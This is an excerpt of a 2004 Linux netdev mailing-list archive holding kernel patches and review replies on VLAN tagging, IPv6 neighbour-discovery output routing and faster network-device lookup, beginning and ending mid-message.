(verify_area(VERIFY_WRITE, (void *)arg, size)) > - return -EFAULT; > - > if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) > return -ENOMEM; > + > + if (!(hdev = hci_dev_get(req.dev_id))) { > + kfree(cl); > + return -ENODEV; > + } > + > ci = cl->conn_info; > > hci_dev_lock_bh(hdev); Why 2*PAGE_SIZE in this case? What is different? Regards Marcel From shmulik.hen@intel.com Fri Feb 6 08:38:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 08:38:26 -0800 (PST) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16GcEKO002089 for ; Fri, 6 Feb 2004 08:38:15 -0800 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.5 2003/11/26 00:10:29 root Exp $) with ESMTP id i15EOm09017736; Thu, 5 Feb 2004 14:24:48 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i15EPhOp009928; Thu, 5 Feb 2004 14:25:43 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020506244311225 ; Thu, 05 Feb 2004 06:24:45 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" Subject: [PATCH] [8021q] Export VLAN tag get/set functionality (resend) Date: Thu, 5 Feb 2004 16:24:40 +0200 User-Agent: KMail/1.5.3 Cc: , "Jeff Garzik" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402051624.42303.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3046 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Enable intermediate network drivers like bonding to get or set a VLAN tag in an skb without a need to know about how tagging is done according to a network adapter's capabilities. Tested for patch application and compilation against linux-2.6.2. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/include/linux/if_vlan.h b/include/linux/if_vlan.h --- a/include/linux/if_vlan.h Wed Jan 21 16:56:09 2004 +++ b/include/linux/if_vlan.h Wed Jan 21 16:56:11 2004 @@ -200,6 +200,152 @@ static inline int vlan_hwaccel_receive_s { return __vlan_hwaccel_rx(skb, grp, vlan_tag, 1); } + +/** + * __vlan_put_tag - regular VLAN tag inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Inserts the VLAN tag into @skb as part of the payload + * Returns a VLAN tagged skb. If a new skb is created, @skb is freed. + * + * Following the skb_unshare() example, in case of error, the calling function + * doesn't have to worry about freeing the original skb. + */ +static inline struct sk_buff *__vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_ethhdr *veth; + + if (skb_headroom(skb) < VLAN_HLEN) { + struct sk_buff *sk_tmp = skb; + skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); + kfree_skb(sk_tmp); + if (!skb) { + printk(KERN_ERR "vlan: failed to realloc headroom\n"); + return NULL; + } + } else { + skb = skb_unshare(skb, GFP_ATOMIC); + if (!skb) { + printk(KERN_ERR "vlan: failed to unshare skbuff\n"); + return NULL; + } + } + + veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); + + /* Move the mac addresses to the beginning of the new header. */ + memmove(skb->data, skb->data + VLAN_HLEN, 2 * VLAN_ETH_ALEN); + + /* first, the ethernet type */ + veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); + + /* now, the tag */ + veth->h_vlan_TCI = htons(tag); + + skb->protocol = __constant_htons(ETH_P_8021Q); + skb->mac.raw -= VLAN_HLEN; + skb->nh.raw -= VLAN_HLEN; + + return skb; +} + +/** + * __vlan_hwaccel_put_tag - hardware accelerated VLAN inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Puts the VLAN tag in @skb->cb[] and lets the device do the rest + */ +static inline struct sk_buff *__vlan_hwaccel_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + cookie->magic = VLAN_TX_COOKIE_MAGIC; + cookie->vlan_tag = tag; + + return skb; +} + +#define HAVE_VLAN_PUT_TAG + +/** + * vlan_put_tag - inserts VLAN tag according to device features + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Assumes skb->dev is the target that will xmit this frame. + * Returns a VLAN tagged skb. + */ +static inline struct sk_buff *vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_put_tag(skb, tag); + } else { + return __vlan_put_tag(skb, tag); + } +} + +/** + * __vlan_get_tag - get the VLAN ID that is part of the payload + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not of VLAN type + */ +static inline int __vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_ethhdr *veth = (struct vlan_ethhdr *)skb->data; + + if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + return -EINVAL; + } + + *tag = ntohs(veth->h_vlan_TCI); + + return 0; +} + +/** + * __vlan_hwaccel_get_tag - get the VLAN ID that is in @skb->cb[] + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if @skb->cb[] is not set correctly + */ +static inline int __vlan_hwaccel_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + if (cookie->magic == VLAN_TX_COOKIE_MAGIC) { + *tag = cookie->vlan_tag; + return 0; + } else { + *tag = 0; + return -EINVAL; + } +} + +#define HAVE_VLAN_GET_TAG + +/** + * vlan_get_tag - get the VLAN ID from the skb + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not VLAN tagged + */ +static inline int vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_get_tag(skb, tag); + } else { + return __vlan_get_tag(skb, tag); + } +} + #endif /* __KERNEL__ */ /* VLAN IOCTLs are found in sockios.h */ From kazunori@miyazawa.org Fri Feb 6 09:32:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 09:32:52 -0800 (PST) Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16HWiKO003985 for ; Fri, 6 Feb 2004 09:32:45 -0800 Received: from 2001:200:1b0:2031:20c:29ff:febb:6598 ([2001:200:1b0:2031:20c:29ff:febb:6598]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Sat, 07 Feb 2004 02:31:06 +0900 From: Kazunori Miyazawa To: davem@redhat.com Subject: [PATCH][IPV6][NDISC] unify ipv6 output routine Date: Sat, 7 Feb 2004 02:32:33 +0900 User-Agent: KMail/1.5.4 Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402070232.33771.kazunori@miyazawa.org> X-archive-position: 3047 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kazunori@miyazawa.org Precedence: bulk X-list: netdev Hello, Yoshifuji-san and I send the patch which unifies IPv6 output routine and remove RTF_NDISC again. It resolves an issue of IPv6 IPsec with neighbor discovery without a flag. This patch is against linux-2.6.2. Best regards, --Kazunori Miyazawa ===== include/linux/ipv6_route.h 1.4 vs edited ===== --- 1.4/include/linux/ipv6_route.h Sun Aug 31 13:26:12 2003 +++ edited/include/linux/ipv6_route.h Mon Jan 26 15:09:34 2004 @@ -24,7 +24,6 @@ #define RTF_CACHE 0x01000000 /* cache entry */ #define RTF_FLOW 0x02000000 /* flow significant route */ #define RTF_POLICY 0x04000000 /* policy route */ -#define RTF_NDISC 0x08000000 /* ndisc route */ #define RTF_LOCAL 0x80000000 ===== include/net/ipv6.h 1.28 vs edited ===== --- 1.28/include/net/ipv6.h Wed Jan 14 09:36:24 2004 +++ edited/include/net/ipv6.h Mon Jan 26 15:10:50 2004 @@ -355,6 +355,7 @@ */ extern int ip6_output(struct sk_buff *skb); +extern int ip6_output2(struct sk_buff *skb); extern int ip6_forward(struct sk_buff *skb); extern int ip6_input(struct sk_buff *skb); extern int ip6_mc_input(struct sk_buff *skb); ===== net/ipv6/ndisc.c 1.64 vs edited ===== --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ndisc.c Mon Jan 26 15:10:16 2004 @@ -390,20 +390,6 @@ * Send a Neighbour Advertisement */ -static int ndisc_output(struct sk_buff *skb) -{ - if (skb) { - struct neighbour *neigh = (skb->dst ? skb->dst->neighbour : NULL); - if (ndisc_build_ll_hdr(skb, skb->dev, &skb->nh.ipv6h->daddr, neigh, skb->len) == 0) { - kfree_skb(skb); - return -EINVAL; - } - dev_queue_xmit(skb); - return 0; - } - return -EINVAL; -} - static inline void ndisc_flow_init(struct flowi *fl, u8 type, struct in6_addr *saddr, struct in6_addr *daddr) { @@ -446,7 +432,7 @@ ndisc_flow_init(&fl, NDISC_NEIGHBOUR_ADVERTISEMENT, src_addr, daddr); - dst = ndisc_dst_alloc(dev, neigh, ndisc_output); + dst = ndisc_dst_alloc(dev, neigh, ip6_output2); if (!dst) return; @@ -533,7 +519,7 @@ ndisc_flow_init(&fl, NDISC_NEIGHBOUR_SOLICITATION, saddr, daddr); - dst = ndisc_dst_alloc(dev, neigh, ndisc_output); + dst = ndisc_dst_alloc(dev, neigh, ip6_output2); if (!dst) return; @@ -605,7 +591,7 @@ ndisc_flow_init(&fl, NDISC_ROUTER_SOLICITATION, saddr, daddr); - dst = ndisc_dst_alloc(dev, NULL, ndisc_output); + dst = ndisc_dst_alloc(dev, NULL, ip6_output2); if (!dst) return; ===== net/ipv6/route.c 1.63 vs edited ===== --- 1.63/net/ipv6/route.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/route.c Mon Jan 26 15:11:39 2004 @@ -578,7 +578,7 @@ rt->rt6i_dev = dev; rt->rt6i_nexthop = neigh; rt->rt6i_expires = 0; - rt->rt6i_flags = RTF_LOCAL | RTF_NDISC; + rt->rt6i_flags = RTF_LOCAL; rt->rt6i_metric = 0; atomic_set(&rt->u.dst.__refcnt, 1); rt->u.dst.metrics[RTAX_HOPLIMIT-1] = 255; @@ -832,7 +832,7 @@ } } - rt->rt6i_flags = rtmsg->rtmsg_flags & ~RTF_NDISC; + rt->rt6i_flags = rtmsg->rtmsg_flags; install_route: if (rta && rta[RTA_METRICS-1]) { @@ -1124,8 +1124,6 @@ static struct rt6_info * ip6_rt_copy(struct rt6_info *ort) { struct rt6_info *rt = ip6_dst_alloc(); - - BUG_ON(ort->rt6i_flags & RTF_NDISC); if (rt) { rt->u.dst.input = ort->u.dst.input; ===== net/ipv6/xfrm6_policy.c 1.14 vs edited ===== --- 1.14/net/ipv6/xfrm6_policy.c Fri Oct 24 21:39:33 2003 +++ edited/net/ipv6/xfrm6_policy.c Mon Jan 26 15:12:35 2004 @@ -55,13 +55,6 @@ __xfrm6_find_bundle(struct flowi *fl, struct rtable *rt, struct xfrm_policy *policy) { struct dst_entry *dst; - u32 ndisc_bit = 0; - - if (fl->proto == IPPROTO_ICMPV6 && - (fl->fl_icmp_type == NDISC_NEIGHBOUR_ADVERTISEMENT || - fl->fl_icmp_type == NDISC_NEIGHBOUR_SOLICITATION || - fl->fl_icmp_type == NDISC_ROUTER_SOLICITATION)) - ndisc_bit = RTF_NDISC; /* Still not clear if we should set fl->fl6_{src,dst}... */ read_lock_bh(&policy->lock); @@ -69,9 +62,6 @@ struct xfrm_dst *xdst = (struct xfrm_dst*)dst; struct in6_addr fl_dst_prefix, fl_src_prefix; - if ((xdst->u.rt6.rt6i_flags & RTF_NDISC) != ndisc_bit) - continue; - ipv6_addr_prefix(&fl_dst_prefix, &fl->fl6_dst, xdst->u.rt6.rt6i_dst.plen); @@ -169,7 +159,7 @@ dst_prev->output = dst_prev->xfrm->type->output; /* Sheit... I remember I did this right. Apparently, * it was magically lost, so this code needs audit */ - x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL|RTF_NDISC); + x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL); x->u.rt6.rt6i_metric = rt0->rt6i_metric; x->u.rt6.rt6i_node = rt0->rt6i_node; x->u.rt6.rt6i_gateway = rt0->rt6i_gateway; From mika.penttila@kolumbus.fi Fri Feb 6 09:59:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 09:59:11 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16Hx3KO005554 for ; Fri, 6 Feb 2004 09:59:05 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004020620011151:6166 ; Fri, 6 Feb 2004 20:01:11 +0200 Message-ID: <4023D6FB.9010909@kolumbus.fi> Date: Fri, 06 Feb 2004 20:03:39 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kazunori Miyazawa CC: davem@redhat.com, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine References: <200402070232.33771.kazunori@miyazawa.org> In-Reply-To: <200402070232.33771.kazunori@miyazawa.org> X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 06.02.2004 20:01:11, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 06.02.2004 20:00:25, Serialize complete at 06.02.2004 20:00:26, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 06.02.2004 20:00:26 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; format=flowed X-archive-position: 3048 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev Kazunori Miyazawa wrote: >Hello, > >Yoshifuji-san and I send the patch which unifies IPv6 output routine and remove >RTF_NDISC again. It resolves an issue of IPv6 IPsec with neighbor discovery >without a flag. > > You break multicast replies, see what ndisc_build_ll_hdr() does... --Mika >This patch is against linux-2.6.2. > >Best regards, > >--Kazunori Miyazawa > >===== include/linux/ipv6_route.h 1.4 vs edited ===== >--- 1.4/include/linux/ipv6_route.h Sun Aug 31 13:26:12 2003 >+++ edited/include/linux/ipv6_route.h Mon Jan 26 15:09:34 2004 >@@ -24,7 +24,6 @@ > #define RTF_CACHE 0x01000000 /* cache entry */ > #define RTF_FLOW 0x02000000 /* flow significant route */ > #define RTF_POLICY 0x04000000 /* policy route */ >-#define RTF_NDISC 0x08000000 /* ndisc route */ > > #define RTF_LOCAL 0x80000000 > >===== include/net/ipv6.h 1.28 vs edited ===== >--- 1.28/include/net/ipv6.h Wed Jan 14 09:36:24 2004 >+++ edited/include/net/ipv6.h Mon Jan 26 15:10:50 2004 >@@ -355,6 +355,7 @@ > */ > > extern int ip6_output(struct sk_buff *skb); >+extern int ip6_output2(struct sk_buff *skb); > extern int ip6_forward(struct sk_buff *skb); > extern int ip6_input(struct sk_buff *skb); > extern int ip6_mc_input(struct sk_buff *skb); >===== net/ipv6/ndisc.c 1.64 vs edited ===== >--- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 >+++ edited/net/ipv6/ndisc.c Mon Jan 26 15:10:16 2004 >@@ -390,20 +390,6 @@ > * Send a Neighbour Advertisement > */ > >-static int ndisc_output(struct sk_buff *skb) >-{ >- if (skb) { >- struct neighbour *neigh = (skb->dst ? skb->dst->neighbour : NULL); >- if (ndisc_build_ll_hdr(skb, skb->dev, &skb->nh.ipv6h->daddr, neigh, skb->len) == 0) { >- kfree_skb(skb); >- return -EINVAL; >- } >- dev_queue_xmit(skb); >- return 0; >- } >- return -EINVAL; >-} >- > static inline void ndisc_flow_init(struct flowi *fl, u8 type, > struct in6_addr *saddr, struct in6_addr *daddr) > { >@@ -446,7 +432,7 @@ > > ndisc_flow_init(&fl, NDISC_NEIGHBOUR_ADVERTISEMENT, src_addr, daddr); > >- dst = ndisc_dst_alloc(dev, neigh, ndisc_output); >+ dst = ndisc_dst_alloc(dev, neigh, ip6_output2); > if (!dst) > return; > >@@ -533,7 +519,7 @@ > > ndisc_flow_init(&fl, NDISC_NEIGHBOUR_SOLICITATION, saddr, daddr); > >- dst = ndisc_dst_alloc(dev, neigh, ndisc_output); >+ dst = ndisc_dst_alloc(dev, neigh, ip6_output2); > if (!dst) > return; > >@@ -605,7 +591,7 @@ > > ndisc_flow_init(&fl, NDISC_ROUTER_SOLICITATION, saddr, daddr); > >- dst = ndisc_dst_alloc(dev, NULL, ndisc_output); >+ dst = ndisc_dst_alloc(dev, NULL, ip6_output2); > if (!dst) > return; > >===== net/ipv6/route.c 1.63 vs edited ===== >--- 1.63/net/ipv6/route.c Sun Jan 25 03:09:52 2004 >+++ edited/net/ipv6/route.c Mon Jan 26 15:11:39 2004 >@@ -578,7 +578,7 @@ > rt->rt6i_dev = dev; > rt->rt6i_nexthop = neigh; > rt->rt6i_expires = 0; >- rt->rt6i_flags = RTF_LOCAL | RTF_NDISC; >+ rt->rt6i_flags = RTF_LOCAL; > rt->rt6i_metric = 0; > atomic_set(&rt->u.dst.__refcnt, 1); > rt->u.dst.metrics[RTAX_HOPLIMIT-1] = 255; >@@ -832,7 +832,7 @@ > } > } > >- rt->rt6i_flags = rtmsg->rtmsg_flags & ~RTF_NDISC; >+ rt->rt6i_flags = rtmsg->rtmsg_flags; > > install_route: > if (rta && rta[RTA_METRICS-1]) { >@@ -1124,8 +1124,6 @@ > static struct rt6_info * ip6_rt_copy(struct rt6_info *ort) > { > struct rt6_info *rt = ip6_dst_alloc(); >- >- BUG_ON(ort->rt6i_flags & RTF_NDISC); > > if (rt) { > rt->u.dst.input = ort->u.dst.input; >===== net/ipv6/xfrm6_policy.c 1.14 vs edited ===== >--- 1.14/net/ipv6/xfrm6_policy.c Fri Oct 24 21:39:33 2003 >+++ edited/net/ipv6/xfrm6_policy.c Mon Jan 26 15:12:35 2004 >@@ -55,13 +55,6 @@ > __xfrm6_find_bundle(struct flowi *fl, struct rtable *rt, struct xfrm_policy *policy) > { > struct dst_entry *dst; >- u32 ndisc_bit = 0; >- >- if (fl->proto == IPPROTO_ICMPV6 && >- (fl->fl_icmp_type == NDISC_NEIGHBOUR_ADVERTISEMENT || >- fl->fl_icmp_type == NDISC_NEIGHBOUR_SOLICITATION || >- fl->fl_icmp_type == NDISC_ROUTER_SOLICITATION)) >- ndisc_bit = RTF_NDISC; > > /* Still not clear if we should set fl->fl6_{src,dst}... */ > read_lock_bh(&policy->lock); >@@ -69,9 +62,6 @@ > struct xfrm_dst *xdst = (struct xfrm_dst*)dst; > struct in6_addr fl_dst_prefix, fl_src_prefix; > >- if ((xdst->u.rt6.rt6i_flags & RTF_NDISC) != ndisc_bit) >- continue; >- > ipv6_addr_prefix(&fl_dst_prefix, > &fl->fl6_dst, > xdst->u.rt6.rt6i_dst.plen); >@@ -169,7 +159,7 @@ > dst_prev->output = dst_prev->xfrm->type->output; > /* Sheit... I remember I did this right. Apparently, > * it was magically lost, so this code needs audit */ >- x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL|RTF_NDISC); >+ x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL); > x->u.rt6.rt6i_metric = rt0->rt6i_metric; > x->u.rt6.rt6i_node = rt0->rt6i_node; > x->u.rt6.rt6i_gateway = rt0->rt6i_gateway; > > > > > From shemminger@osdl.org Fri Feb 6 10:13:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 10:14:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16IDuKO006387 for ; Fri, 6 Feb 2004 10:13:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i16IDiN29541; Fri, 6 Feb 2004 10:13:44 -0800 Date: Fri, 6 Feb 2004 10:05:01 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (3/4) Support lots of netdev's -- hash ifindex Message-Id: <20040206100501.6ffcfa8a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3049 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Hash network device index entries, to allow fast lookup by routing protocols. diff -Nru a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h Thu Feb 5 15:17:30 2004 +++ b/include/linux/netdevice.h Thu Feb 5 15:17:30 2004 @@ -377,6 +377,8 @@ struct list_head todo_list; /* device name hash chain */ struct hlist_node name_hlist; + /* device index hash chain */ + struct hlist_node index_hlist; /* register/unregister state machine */ enum { NETREG_UNINITIALIZED=0, diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Feb 5 15:17:30 2004 +++ b/net/core/dev.c Thu Feb 5 15:17:30 2004 @@ -188,6 +188,7 @@ #define NETDEV_HASHBITS 8 static struct hlist_head dev_name_head[1<next) + hlist_for_each(p, dev_index_hash(ifindex)) { + struct net_device *dev + = hlist_entry(p, struct net_device, index_hlist); if (dev->ifindex == ifindex) - break; - return dev; + return dev; + } + return NULL; } @@ -2842,6 +2851,7 @@ *dev_tail = dev; dev_tail = &dev->next; hlist_add_head(&dev->name_hlist, head); + hlist_add_head(&dev->index_hlist, dev_index_hash(dev->ifindex)); dev_hold(dev); dev->reg_state = NETREG_REGISTERING; write_unlock_bh(&dev_base_lock); @@ -3064,6 +3074,7 @@ if (d == dev) { write_lock_bh(&dev_base_lock); hlist_del(&dev->name_hlist); + hlist_del(&dev->index_hlist); if (dev_tail == &dev->next) dev_tail = dp; *dp = d->next; @@ -3144,6 +3155,9 @@ for (i = 0; i < ARRAY_SIZE(dev_name_head); i++) INIT_HLIST_HEAD(&dev_name_head[i]); + + for (i = 0; i < ARRAY_SIZE(dev_index_head); i++) + INIT_HLIST_HEAD(&dev_index_head[i]); /* * Initialise the packet receive queues. From shemminger@osdl.org Fri Feb 6 10:13:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 10:14:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16IDtKO006386 for ; Fri, 6 Feb 2004 10:13:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i16IDhN29532; Fri, 6 Feb 2004 10:13:43 -0800 Date: Fri, 6 Feb 2004 10:03:10 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (1/4) Support for lots of netdev's -- dev_base move Message-Id: <20040206100310.21ebd1da.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3051 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev The first patch moves the device list and locks from drivers/net/Space.c to net/core/dev.c. The list used to be in Space.c because we initialized it in 2.4, but now it makes more sense to put it over with the management routines. Resend of the patchset to support a large number of network devices efficiently with feedback applied, and rediff'd against 2.6.2 diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Thu Feb 5 15:16:58 2004 +++ b/drivers/net/Space.c Thu Feb 5 15:16:58 2004 @@ -430,28 +430,3 @@ } device_initcall(net_olddevs_init); - -/* - * The @dev_base list is protected by @dev_base_lock and the rtln - * semaphore. - * - * Pure readers hold dev_base_lock for reading. - * - * Writers must hold the rtnl semaphore while they loop through the - * dev_base list, and hold dev_base_lock for writing when they do the - * actual updates. This allows pure readers to access the list even - * while a writer is preparing to update it. - * - * To put it another way, dev_base_lock is held for writing only to - * protect against pure readers; the rtnl semaphore provides the - * protection against other writers. - * - * See, for example usages, register_netdevice() and - * unregister_netdevice(), which must be called with the rtnl - * semaphore held. - */ -struct net_device *dev_base; -rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; - -EXPORT_SYMBOL(dev_base); -EXPORT_SYMBOL(dev_base_lock); diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Feb 5 15:16:58 2004 +++ b/net/core/dev.c Thu Feb 5 15:16:58 2004 @@ -161,6 +161,31 @@ #endif /* + * The @dev_base list is protected by @dev_base_lock and the rtln + * semaphore. + * + * Pure readers hold dev_base_lock for reading. + * + * Writers must hold the rtnl semaphore while they loop through the + * dev_base list, and hold dev_base_lock for writing when they do the + * actual updates. This allows pure readers to access the list even + * while a writer is preparing to update it. + * + * To put it another way, dev_base_lock is held for writing only to + * protect against pure readers; the rtnl semaphore provides the + * protection against other writers. + * + * See, for example usages, register_netdevice() and + * unregister_netdevice(), which must be called with the rtnl + * semaphore held. + */ +struct net_device *dev_base; +rwlock_t dev_base_lock = RW_LOCK_UNLOCKED; + +EXPORT_SYMBOL(dev_base); +EXPORT_SYMBOL(dev_base_lock); + +/* * Our notifier list */ From shemminger@osdl.org Fri Feb 6 10:13:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 10:14:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i16IDuKO006388 for ; Fri, 6 Feb 2004 10:13:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i16IDiN29545; Fri, 6 Feb 2004 10:13:44 -0800 Date: Fri, 6 Feb 2004 10:12:32 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (4/4) Support for lots of netdev's -- faster dev_alloc_name Message-Id: <20040206101232.46bc30b1.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3050 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert dev_alloc_name from O(n^2) lookup to O(n) by using a page as bitmap to figure out how many devices of that pattern have been allocated. This works for up to 32k devices (PAGE_SIZE*8) on i386, more on other platforms. Correctly handles the boundary cases where number of devices won't fit because name length is limited. Adds strnchr to the string libraries since we need to find the % format character, but only care if it is in the first 15 bytes. diff -Nru a/include/linux/string.h 